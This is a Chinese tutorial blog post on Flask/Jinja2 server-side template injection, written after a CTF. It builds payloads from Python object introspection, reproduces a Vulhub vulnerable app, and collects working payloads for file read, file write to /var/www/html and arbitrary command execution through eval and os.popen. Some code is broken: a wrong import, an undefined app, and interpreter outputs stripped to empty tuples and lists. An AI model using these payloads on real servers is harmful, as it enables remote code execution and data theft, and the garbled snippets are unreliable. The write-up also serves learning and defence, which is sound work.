python2 input漏洞_Python Flask SSTI漏洞

前言

之前在做工作室CTF题目时第一次遇到这个漏洞,当时只想着拿flag,现在好好总结下

什么是Flask

Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。

什么是SSTI

SSTI(Server-Side Template Injection)

服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

Flask基础

一个基础的Flask代码

from flask import flask

@app.route('/index/')

def hello_word():

return 'hello word'

这里导入flask模块,简单的实现了一个输出hello word的web程序。

route装饰器的作用是将函数与url绑定起来。这里的作用就是当访问http://127.0.0.1/index的时候,flask会返回hello word

jinja2

jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在jinja2中,存在三种语法:

控制结构 {% %}

变量取值 {{ }}

注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等

jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

漏洞利用

构造payload原理

首先要知道python所有类的几个魔法方法:

__class__ 返回类型所属的对象(类)

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

构造payload的大致思路是:找到父类–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块

也就是通过python的对象的继承来一步步实现文件读取和命令执行的。

构造payload步骤

1.获取字符串的类对象(获取一个类)

>>> 'a'.__class__

2.寻找基类链,找到类

>>> 'a'.__class__.__mro__

(, , )

3.寻找类的所有子类中可用的引用类

>>> 'a'.__class__.__mro__[2].__subclasses__()

[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]

这里可以看到有一个类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。

4.利用的read()方法进行文件读取

'a'.__class__.__mro__[2].__subclasses__()[40]('/Users/rebecca/Sites/info.php').read()

漏洞复现

借助Vulhub复现SSTI漏洞

from flask import Flask, request

from jinja2 import Template

app = Flask(__name__)

@app.route("/")

def index():

name = request.args.get('name', 'guest')

t = Template("Hello " + name)

return t.render()

if __name__ == "__main__":

app.run()

看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如

寻找__builtins__得到eval

__builtin__为Python内置模块,包含内建名称空间中内建名字的集合,还包括内建函数,异常以及其他属性。像我们熟悉的object,type等等类的定义都在__builtin__中

寻找__builtins__的Python代码如下

for c in ().__class__.__bases__[0].__subclasses__():

try:

if '__builtins__' in c.__init__.__globals__.keys():

print(c.name)

except:

pass

运行代码,可以发现

找到了一个python2/3都有__builtins__的类 _IterationGuard

于是执行python2/3通用的用于执行任意代码的代码

for c in ().__class__.__bases__[0].__subclasses__():

if c.__name__=='_IterationGuard':

c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='_IterationGuard' %}

{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

在SSTI注入点中输入,得到结果

常见SSTI的payload收集

//获取基本类

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

object

//读文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

object.__subclasses__()[40](r'C:\1.php').read()

//写文件

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

官方漏洞利用方法

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

将上面这一串当作注入点参数传递即可执行命令,这里执行的是系统命令id,可在popen("")中填入任意系统命令均可执行。

漏洞修复

将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值